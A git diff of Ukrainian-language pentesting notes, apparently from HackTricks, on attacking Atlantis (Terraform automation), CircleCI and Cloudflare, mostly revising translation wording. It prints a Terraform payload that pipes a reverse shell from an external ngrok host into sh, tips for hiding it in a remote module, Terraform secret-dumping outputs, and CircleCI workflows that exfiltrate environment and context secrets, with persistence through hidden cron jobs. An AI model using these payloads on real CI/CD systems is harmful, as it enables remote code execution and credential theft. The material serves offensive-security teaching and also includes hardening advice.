- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Шукайте "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
@@ -54,22 +54,22 @@ Atlantis запускає Terraform, просто **виконуючи кома
|
||||
- Використовуйте [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) для отримання облікових даних провайдера.
|
||||
|
||||
> [!WARNING]
|
||||
> **Контейнер**, в якому **Atlantis** **працює**, ймовірно, **міститиме привілейовані облікові дані** для провайдерів (AWS, GCP, Github...), якими керує Atlantis через Terraform.
|
||||
> **Контейнер**, в якому **працює Atlantis**, ймовірно, **міститиме привілейовані облікові дані** для провайдерів (AWS, GCP, Github...), якими керує Atlantis через Terraform.
|
||||
|
||||
#### Web Page
|
||||
|
||||
За замовчуванням Atlantis запустить **веб-сторінку на порту 4141 на localhost**. Ця сторінка просто дозволяє вам увімкнути/вимкнути atlantis apply і перевірити статус плану репозиторіїв та розблокувати їх (вона не дозволяє змінювати речі, тому не є дуже корисною).
|
||||
За замовчуванням Atlantis запустить **веб-сторінку на порту 4141 на localhost**. Ця сторінка просто дозволяє вам увімкнути/вимкнути atlantis apply і перевірити статус плану репозиторіїв та розблокувати їх (вона не дозволяє вносити зміни, тому не є дуже корисною).
|
||||
|
||||
Ви, ймовірно, не знайдете її відкритою для Інтернету, але, здається, за замовчуванням **не потрібні облікові дані** для доступу до неї (і якщо вони потрібні, `atlantis`:`atlantis` є **за замовчуванням**).
|
||||
Ви, напевно, не знайдете її відкритою для Інтернету, але здається, що за замовчуванням **жодні облікові дані не потрібні** для доступу до неї (а якщо потрібні, то `atlantis`:`atlantis` є **за замовчуванням**).
|
||||
|
||||
### Server Configuration
|
||||
|
||||
Конфігурацію для `atlantis server` можна вказати через командні прапорці, змінні середовища, конфігураційний файл або комбінацію трьох.
|
||||
Конфігурацію для `atlantis server` можна вказати через командні рядки, змінні середовища, конфігураційний файл або комбінацію трьох.
|
||||
|
||||
- Ви можете знайти [**тут список прапорців**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration), підтримуваних сервером Atlantis.
|
||||
- Ви можете знайти [**тут, як перетворити параметр конфігурації на змінну середовища**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
|
||||
- Ви можете знайти [**список прапорців**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration), підтримуваних сервером Atlantis.
|
||||
- Ви можете знайти [**інформацію про те, як перетворити параметр конфігурації на змінну середовища**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
|
||||
|
||||
Значення обираються **в такому порядку**:
|
||||
Значення вибираються **в такому порядку**:
|
||||
|
||||
1. Прапорці
|
||||
2. Змінні середовища
|
||||
@@ -82,7 +82,7 @@ Atlantis запускає Terraform, просто **виконуючи кома
|
||||
|
||||
Деякі конфігурації впливають на **те, як керуються репозиторії**. Однак можливо, що **кожен репозиторій вимагатиме різних налаштувань**, тому є способи вказати кожен репозиторій. Це порядок пріоритету:
|
||||
|
||||
1. Репозиторій [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) файл. Цей файл можна використовувати для вказівки, як atlantis повинен ставитися до репозиторію. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це.
|
||||
1. Репозиторій [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) файл. Цей файл можна використовувати для вказівки, як atlantis повинен обробляти репозиторій. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це.
|
||||
1. Ймовірно, потрібно дозволити прапорцями, такими як `allowed_overrides` або `allow_custom_workflows`.
|
||||
2. [**Конфігурація на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Ви можете передати її з прапорцем `--repo-config`, і це yaml, що конфігурує нові налаштування для кожного репозиторію (підтримуються regex).
|
||||
3. **Значення за замовчуванням**.
|
||||
@@ -95,17 +95,17 @@ Atlantis дозволяє вказати, чи хочете ви, щоб **PR**
|
||||
|
||||
**Scripts**
|
||||
|
||||
Конфігурація репозиторію може **вказувати скрипти** для виконання [**перед**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) та [**після**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) виконання **workflow**.
|
||||
Конфігурація репозиторію може **вказувати скрипти** для виконання [**перед**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) та [**після**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) виконання **робочого процесу**.
|
||||
|
||||
Не існує жодної опції, що дозволяє **вказувати** ці скрипти у **репозиторії `/atlantis.yml`**.
|
||||
Не існує жодної опції, яка дозволяє **вказувати** ці скрипти у **репозиторії `/atlantis.yml`**.
|
||||
|
||||
**Workflow**
|
||||
|
||||
У конфігурації репозиторію (конфігурація на стороні сервера) ви можете [**вказати новий стандартний workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), або [**створити нові користувацькі workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ви також можете **вказати**, які **репозиторії** можуть **отримати доступ** до **нових** згенерованих.\
|
||||
Тоді ви можете дозволити файл **atlantis.yaml** кожного репозиторію **вказати workflow, який використовувати**.
|
||||
У конфігурації репозиторію (конфігурація на стороні сервера) ви можете [**вказати новий робочий процес за замовчуванням**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) або [**створити нові користувацькі робочі процеси**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ви також можете **вказати**, які **репозиторії** можуть **отримати доступ** до **нових** згенерованих.\
|
||||
Тоді ви можете дозволити файлу **atlantis.yaml** кожного репозиторію **вказувати робочий процес для використання**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Якщо прапорець [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, workflows можуть бути **вказані** у **файлі `atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису workflow**, який буде використовуватися.\
|
||||
> Якщо прапорець [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у **файлі `atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису робочого процесу**, який буде використовуватися.\
|
||||
> Це в основному надасть **RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію**.
|
||||
>
|
||||
> ```yaml
|
||||
@@ -126,7 +126,7 @@ Atlantis дозволяє вказати, чи хочете ви, щоб **PR**
|
||||
|
||||
**Conftest Policy Checking**
|
||||
|
||||
Atlantis підтримує виконання **на стороні сервера** [**conftest**](https://www.conftest.dev/) **політик** проти виходу плану. Загальні випадки використання цього кроку включають:
|
||||
Atlantis підтримує виконання **політик conftest** [**на стороні сервера**](https://www.conftest.dev/) проти виходу плану. Загальні випадки використання цього кроку включають:
|
||||
|
||||
- Заборону використання списку модулів
|
||||
- Підтвердження атрибутів ресурсу під час створення
|
||||
@@ -170,52 +170,52 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Модифікація конфігурації в новому PR
|
||||
#### Atlantis plan RCE - Зміна конфігурації в новому PR
|
||||
|
||||
Якщо у вас є права на запис у репозиторії, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis plan`** (або, можливо, це виконується автоматично) **ви зможете RCE всередині сервера Atlantis**.
|
||||
Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis plan`** (або, можливо, це виконується автоматично) **ви зможете RCE всередині сервера Atlantis**.
|
||||
|
||||
Ви можете зробити це, змусивши [**Atlantis завантажити зовнішнє джерело даних**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Просто вставте корисне навантаження, подібне до наступного, у файл `main.tf`:
|
||||
Ви можете зробити це, змусивши [**Atlantis завантажити зовнішнє джерело даних**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Просто вставте корисне навантаження, як показано нижче, у файл `main.tf`:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Стійкіший Атак**
|
||||
**Стійкіший напад**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
Ви можете виконати цей напад навіть **стійнкішим способом**, дотримуючись цих порад:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
- Замість того, щоб додавати rev shell безпосередньо у файл terraform, ви можете **завантажити зовнішній ресурс**, який містить rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Ви можете знайти код rev shell за посиланням [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
Ви можете знайти код rev shell за адресою [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- У зовнішньому ресурсі використовуйте функцію **ref**, щоб приховати **код terraform rev shell в гілці** всередині репозиторію, щось на зразок: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Замість** створення **PR до master** для активації Atlantis, **створіть 2 гілки** (test1 і test2) і створіть **PR з однієї на іншу**. Коли ви завершите атаку, просто **видаліть PR і гілки**.
|
||||
- У зовнішньому ресурсі використовуйте функцію **ref**, щоб приховати **код terraform rev shell у гілці** всередині репозиторію, щось на зразок: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Замість** того, щоб створювати **PR до master**, щоб активувати Atlantis, **створіть 2 гілки** (test1 і test2) і створіть **PR з однієї на іншу**. Коли ви завершите атаку, просто **видаліть PR і гілки**.
|
||||
|
||||
#### Atlantis план Скидання Секретів
|
||||
|
||||
Ви можете **скинути секрети, використані terraform**, запустивши `atlantis plan` (`terraform plan`), вставивши щось на зразок цього в файл terraform:
|
||||
Ви можете **скинути секрети, використані terraform**, запустивши `atlantis plan` (`terraform plan`), вставивши щось на зразок цього у файл terraform:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis apply RCE - Зміна конфігурації в новому PR
|
||||
#### Atlantis застосування RCE - Модифікація конфігурації в новому PR
|
||||
|
||||
Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis apply`, ви зможете RCE всередині сервера Atlantis**.
|
||||
Якщо у вас є права на запис у репозиторії, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете **виконати `atlantis apply`, ви зможете RCE всередині сервера Atlantis**.
|
||||
|
||||
Однак вам зазвичай потрібно буде обійти деякі захисти:
|
||||
|
||||
- **Mergeable**: Якщо цей захист встановлений в Atlantis, ви можете виконати **`atlantis apply` тільки якщо PR є злитим** (що означає, що захист гілки потрібно обійти).
|
||||
- **Mergeable**: Якщо цей захист встановлений в Atlantis, ви можете виконати **`atlantis apply` лише якщо PR є mergeable** (що означає, що захист гілки потрібно обійти).
|
||||
- Перевірте потенційні [**обходи захисту гілок**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: Якщо цей захист встановлений в Atlantis, деякий **інший користувач повинен затвердити PR** перед тим, як ви зможете виконати `atlantis apply`
|
||||
- За замовчуванням ви можете зловживати [**токеном Gitbot для обходу цього захисту**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Виконання **`terraform apply` на шкідливому файлі Terraform з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Вам просто потрібно переконатися, що деякий payload, наприклад, наступні, закінчується у файлі `main.tf`:
|
||||
Вам просто потрібно переконатися, що деякий payload, як наведені нижче, закінчується у файлі `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
Щось, що ви можете передати, це змінні середовища, які можуть бути корисними для обходу деяких захистів. Перевірте змінні середовища terraform на [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
Щось, що ви можете передати, це змінні середовища, які можуть бути корисними для обходу деяких захистів. Перевірте змінні середовища terraform у [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
#### Користувацький робочий процес
|
||||
|
||||
@@ -251,7 +251,7 @@ atlantis apply -- -h #Get terraform apply help
|
||||
Цю можливість було згадано в попередньому розділі:
|
||||
|
||||
> [!CAUTION]
|
||||
> Якщо прапор [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у **файлі `atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису робочого процесу**, який буде використовуватися.
|
||||
> Якщо прапор [**конфігурації на стороні сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у файлі **`atlantis.yaml`** кожного репозиторію. Також потенційно потрібно, щоб **`allowed_overrides`** також вказував **`workflow`** для **перезапису робочого процесу**, який буде використовуватися.
|
||||
>
|
||||
> Це, по суті, надасть **RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію**.
|
||||
>
|
||||
@@ -282,9 +282,9 @@ apply_requirements: []
|
||||
```
|
||||
#### PR Hijacking
|
||||
|
||||
Якщо хтось надсилає **`atlantis plan/apply` коментарі до ваших дійсних pull-запитів,** це призведе до запуску terraform, коли ви цього не хочете.
|
||||
Якщо хтось надішле **`atlantis plan/apply` коментарі до ваших дійсних pull requests,** це призведе до запуску terraform, коли ви цього не хочете.
|
||||
|
||||
Більше того, якщо у вас не налаштовано **захист гілок** для запиту **перегляду** кожного PR, коли **новий коміт додається** до нього, хтось може **написати шкідливі конфігурації** (перевірте попередні сценарії) у конфігурації terraform, запустити `atlantis plan/apply` і отримати RCE.
|
||||
Більше того, якщо у вас не налаштовано **захист гілок** для запиту на **повторну оцінку** кожного PR, коли **новий коміт додається** до нього, хтось може **написати шкідливі конфігурації** (перевірте попередні сценарії) у конфігурації terraform, запустити `atlantis plan/apply` і отримати RCE.
|
||||
|
||||
Це **налаштування** у захисті гілок Github:
|
||||
|
||||
@@ -317,18 +317,18 @@ Bitbucket Cloud **не підтримує секрети вебхуків**. Ц
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Оскільки будь-хто може коментувати публічні pull-запити, навіть з усіма доступними заходами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації налаштувань безпеки.
|
||||
Оскільки будь-хто може коментувати публічні pull requests, навіть з усіма доступними заходами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації налаштувань безпеки.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
Якщо ви працюєте на публічному репозиторії (що не рекомендується, див. вище), вам не слід встановлювати `--allow-fork-prs` (за замовчуванням false), оскільки будь-хто може відкрити pull-запит з їхнього форка до вашого репозиторію.
|
||||
Якщо ви працюєте з публічним репозиторієм (що не рекомендується, див. вище), вам не слід встановлювати `--allow-fork-prs` (за замовчуванням false), оскільки будь-хто може відкрити pull request з їхнього форка до вашого репозиторію.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis вимагає, щоб ви вказали список дозволених репозиторіїв, з яких він прийматиме вебхуки за допомогою прапора `--repo-allowlist`. Наприклад:
|
||||
Atlantis вимагає, щоб ви вказали список дозволених репозиторіїв, з яких він прийматиме вебхуки, за допомогою прапора `--repo-allowlist`. Наприклад:
|
||||
|
||||
- Конкретні репозиторії: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Ваша вся організація: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Вся ваша організація: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Кожен репозиторій у вашій установці GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Усі репозиторії: `--repo-allowlist=*`. Корисно, коли ви в захищеній мережі, але небезпечно без також налаштування секрету вебхука.
|
||||
|
||||
@@ -336,27 +336,27 @@ Atlantis вимагає, щоб ви вказали список дозволе
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
Якщо зловмисники надсилають pull-запити з шкідливим кодом Terraform у вашій моделі загрози, тоді ви повинні знати, що схвалення `terraform apply` недостатньо. Можливо, запустити шкідливий код у `terraform plan`, використовуючи [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) або вказавши шкідливий провайдер. Цей код може потім ексфільтрувати ваші облікові дані.
|
||||
Якщо зловмисники надсилають pull requests з шкідливим кодом Terraform у вашій моделі загроз, ви повинні бути свідомі того, що схвалення `terraform apply` недостатньо. Можливо запустити шкідливий код у `terraform plan`, використовуючи [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) або вказавши шкідливий провайдер. Цей код може потім ексфільтрувати ваші облікові дані.
|
||||
|
||||
Щоб запобігти цьому, ви можете:
|
||||
|
||||
1. Включити провайдери в образ Atlantis або хостити та заборонити вихід у виробництві.
|
||||
2. Реалізувати протокол реєстру провайдерів внутрішньо та заборонити публічний вихід, таким чином ви контролюєте, хто має доступ на запис до реєстру.
|
||||
3. Змінити крок `plan` у вашій [конфігурації репозиторія на стороні сервера](https://www.runatlantis.io/docs/server-side-repo-config.html) для перевірки на використання заборонених провайдерів або джерел даних або PR з неприпустимих користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагати "палець вгору" на PR перед тим, як дозволити `plan` продовжити. Conftest може бути корисним тут.
|
||||
3. Змінити ваш [конфігурацію репозиторію на стороні сервера](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` крок, щоб перевірити використання заборонених провайдерів або джерел даних або PR з не дозволених користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагати "палець вгору" на PR перед тим, як дозволити `plan` продовжити. Conftest може бути корисним тут.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis слід запускати з налаштованими секретами вебхука через змінні середовища `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Навіть з установленим прапором `--repo-allowlist`, без секрету вебхука, зловмисники можуть надсилати запити до Atlantis, видаючи себе за репозиторій, який є в білому списку. Секрети вебхука забезпечують, що запити вебхука дійсно надходять від вашого постачальника VCS (GitHub або GitLab).
|
||||
Atlantis слід запускати з налаштованими секретами вебхуків через змінні середовища `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Навіть з установленим прапором `--repo-allowlist`, без секрету вебхука, зловмисники можуть надсилати запити до Atlantis, видаючи себе за репозиторій, який є в білому списку. Секрети вебхуків забезпечують, що запити вебхуків дійсно надходять від вашого постачальника VCS (GitHub або GitLab).
|
||||
|
||||
Якщо ви використовуєте Azure DevOps, замість секретів вебхука додайте базове ім'я користувача та пароль.
|
||||
Якщо ви використовуєте Azure DevOps, замість секретів вебхуків додайте базове ім'я користувача та пароль.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps підтримує надсилання заголовка базової аутентифікації у всіх подіях вебхука. Це вимагає використання HTTPS URL для вашого місця вебхука.
|
||||
Azure DevOps підтримує надсилання заголовка базової аутентифікації у всіх подіях вебхуків. Це вимагає використання HTTPS URL для вашого місця розташування вебхука.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
Якщо ви використовуєте секрети вебхука, але ваш трафік йде через HTTP, тоді секрети вебхука можуть бути вкрадені. Увімкніть SSL/HTTPS, використовуючи прапори `--ssl-cert-file` та `--ssl-key-file`.
|
||||
Якщо ви використовуєте секрети вебхуків, але ваш трафік йде через HTTP, то секрети вебхуків можуть бути вкрадені. Увімкніть SSL/HTTPS, використовуючи прапори `--ssl-cert-file` та `--ssl-key-file`.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
|
||||
@@ -8,8 +8,8 @@
|
||||
|
||||
### Permissions
|
||||
|
||||
**CircleCI** **успадковує дозволи** з github та bitbucket, пов'язані з **обліковим записом**, який входить.\
|
||||
У моєму тестуванні я перевірив, що, поки у вас є **права на запис у репозиторії в github**, ви зможете **керувати налаштуваннями проекту в CircleCI** (встановлювати нові ssh-ключі, отримувати api-ключі проекту, створювати нові гілки з новими конфігураціями CircleCI...).
|
||||
**CircleCI** **успадковує дозволи** з github та bitbucket, пов'язані з **акаунтом**, який входить.\
|
||||
У моєму тестуванні я перевірив, що, поки у вас є **права на запис у репозиторії в github**, ви зможете **керувати налаштуваннями проекту в CircleCI** (встановити нові ssh ключі, отримати api ключі проекту, створити нові гілки з новими конфігураціями CircleCI...).
|
||||
|
||||
Однак, вам потрібно бути **адміністратором репозиторію**, щоб **перетворити репозиторій на проект CircleCI**.
|
||||
|
||||
@@ -59,7 +59,7 @@ SECRET: A secret
|
||||
```
|
||||
#### Секрети проекту
|
||||
|
||||
Це **секрети**, які будуть **доступні** лише **проекту** (для **будь-якої гілки**).\
|
||||
Це **секрети**, які будуть **доступні** лише **проекту** (будь-якій **гілці**).\
|
||||
Ви можете побачити їх **оголошеними в** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
@@ -69,21 +69,21 @@ SECRET: A secret
|
||||
|
||||
#### Секрети контексту
|
||||
|
||||
Це секрети, які є **всередині організації**. За **замовчуванням будь-який репозиторій** зможе **доступати до будь-якого секрету**, збереженого тут:
|
||||
Це секрети, які є **всередині організації**. За **замовчуванням будь-який репозиторій** зможе **доступатися до будь-якого секрету**, збереженого тут:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Однак зверніть увагу, що можна **вибрати іншу групу** (замість усіх учасників), щоб **надавати доступ до секретів лише конкретним людям**.\
|
||||
> Це наразі один з найкращих способів **підвищити безпеку секретів**, не дозволяючи всім отримувати до них доступ, а лише деяким.
|
||||
> Однак, зверніть увагу, що можна **вибрати іншу групу** (замість усіх учасників), щоб **надавати доступ до секретів лише конкретним людям**.\
|
||||
> Це наразі один з найкращих способів **збільшити безпеку секретів**, щоб не дозволяти всім отримувати до них доступ, а лише деяким людям.
|
||||
|
||||
### Атаки
|
||||
|
||||
#### Пошук секретів у відкритому тексті
|
||||
|
||||
Якщо у вас є **доступ до VCS** (наприклад, github), перевірте файл `.circleci/config.yml` **кожного репозиторію на кожній гілці** та **шукайте** потенційні **секрети у відкритому тексті**, збережені там.
|
||||
Якщо у вас є **доступ до VCS** (наприклад, github), перевірте файл `.circleci/config.yml` кожного **репозиторію на кожній гілці** та **шукайте** потенційні **секрети у відкритому тексті**, збережені там.
|
||||
|
||||
#### Перерахування секретних змінних середовища та контексту
|
||||
#### Перерахування змінних середовища секретів та контексту
|
||||
|
||||
Перевіряючи код, ви можете знайти **всі назви секретів**, які **використовуються** в кожному файлі `.circleci/config.yml`. Ви також можете отримати **назви контекстів** з цих файлів або перевірити їх у веб-консолі: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
@@ -95,7 +95,7 @@ SECRET: A secret
|
||||
> [!CAUTION]
|
||||
> Функціональність "**Імпорт змінних**" дозволяє **імпортувати змінні з інших проектів** до цього. Тому зловмисник може **імпортувати всі змінні проекту з усіх репозиторіїв** і потім **екстрагувати їх усі разом**.
|
||||
|
||||
Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликавши env і обфускацію в base64, ви екстрагуєте секрети в **консолі веб-логів робочих процесів**:
|
||||
Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликавши env і обфускацію в base64, ви зможете екстрагувати секрети в **консолі веб-логів робочих процесів**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
@@ -141,9 +141,9 @@ only:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
#### Екстракція секретів контексту
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
Вам потрібно **вказати ім'я контексту** (це також екстрактує секрети проекту):
|
||||
Вам потрібно **вказати ім'я контексту** (це також ексфільтрує секрети проекту):
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
@@ -163,7 +163,7 @@ jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
Якщо ви **не маєте доступу до веб-консолі**, але у вас є **доступ до репозиторію** і ви знаєте, що використовується CircleCI, ви можете просто **змінити робочий процес**, який **тригериться кожну хвилину** і **експортує секрети на зовнішню адресу**:
|
||||
Якщо у вас **немає доступу до веб-консолі**, але ви маєте **доступ до репозиторію** і знаєте, що використовується CircleCI, ви можете просто **змінити робочий процес**, який **запускається кожну хвилину** і **експортує секрети на зовнішню адресу**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
@@ -221,15 +221,15 @@ version: 19.03.13
|
||||
```
|
||||
#### Persistence
|
||||
|
||||
- Можна **створити** **токени користувача в CircleCI** для доступу до API-інтерфейсів з доступом користувача.
|
||||
- Можна **створити** **токени користувача в CircleCI** для доступу до API-інтерфейсів з доступом користувачів.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- Можна **створити токени проекту** для доступу до проекту з правами, наданими токену.
|
||||
- Можна **створити токени проектів** для доступу до проекту з правами, наданими токену.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- Можна **додати SSH-ключі** до проектів.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- Можна **створити cron job в прихованій гілці** в несподіваному проекті, який **витікає** всі **змінні середовища контексту** щодня.
|
||||
- Можна **створити cron-завдання в прихованій гілці** в несподіваному проекті, яке **витікає** всі **змінні середовища контексту** щодня.
|
||||
- Або навіть створити в гілці / змінити відоме завдання, яке буде **витікати** всі контексти та **секрети проектів** щодня.
|
||||
- Якщо ви є власником github, ви можете **дозволити неперевірені orbs** і налаштувати один у завданні як **задню двері**.
|
||||
- Ви можете знайти **вразливість до ін'єкції команд** в деякому завданні та **ін'єктувати команди** через **секрет**, змінюючи його значення.
|
||||
- Ви можете знайти **вразливість ін'єкції команд** в деякому завданні та **ін'єктувати команди** через **секрет**, змінюючи його значення.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -49,10 +49,10 @@ _Я не зміг знайти нічого для перевірки безпе
|
||||
- [ ] Перевірте **код робітника** та шукайте **вразливості** (особливо в місцях, де користувач може керувати введенням).
|
||||
- Перевірте наявність SSRF, що повертає вказану сторінку, яку ви можете контролювати.
|
||||
- Перевірте XSS, що виконує JS всередині svg зображення.
|
||||
- Можливо, що робітник взаємодіє з іншими внутрішніми сервісами. Наприклад, робітник може взаємодіяти з R2 бакетом, що зберігає інформацію, отриману з введення. У такому випадку необхідно перевірити, які можливості має робітник над R2 бакетом і як це може бути зловжито з боку введення користувача.
|
||||
- Можливо, робітник взаємодіє з іншими внутрішніми сервісами. Наприклад, робітник може взаємодіяти з R2 бакетом, що зберігає інформацію, отриману з введення. У такому випадку необхідно перевірити, які можливості має робітник над R2 бакетом і як це може бути зловжито з боку введення користувача.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що за замовчуванням **Робітнику надається URL** на зразок `<worker-name>.<account>.workers.dev`. Користувач може налаштувати його на **піддомен**, але ви завжди можете отримати доступ до нього за цим **оригінальним URL**, якщо знаєте його.
|
||||
> Зверніть увагу, що за замовчуванням **Робітнику надається URL** на кшталт `<worker-name>.<account>.workers.dev`. Користувач може налаштувати його на **піддомен**, але ви завжди можете отримати доступ до нього за цим **оригінальним URL**, якщо знаєте його.
|
||||
|
||||
## R2
|
||||
|
||||
@@ -86,7 +86,7 @@ cloudflare-zero-trust-network.md
|
||||
## Bulk Redirects
|
